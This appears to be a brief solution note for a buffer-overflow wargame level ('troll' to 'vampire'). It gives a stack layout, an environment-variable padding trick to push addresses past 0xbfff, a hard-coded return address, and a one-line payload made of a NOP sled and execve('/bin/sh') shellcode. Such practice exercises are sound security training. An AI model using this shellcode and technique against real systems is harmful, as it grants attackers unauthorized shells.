troll - check 0xbfff
Stack : buffer[40] + sfp[4] + ret[4] + Environment Variable
Dummy : export dummy=`python -c 'print "A"*80000'`
return address : 0xbffec3b9
Payload : ./vampire `python -c 'print "\x90"*21 + "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" + "\xb9\xc3\xfe\xbf"'`
Using argv[1] address + Environment Variable Dummy
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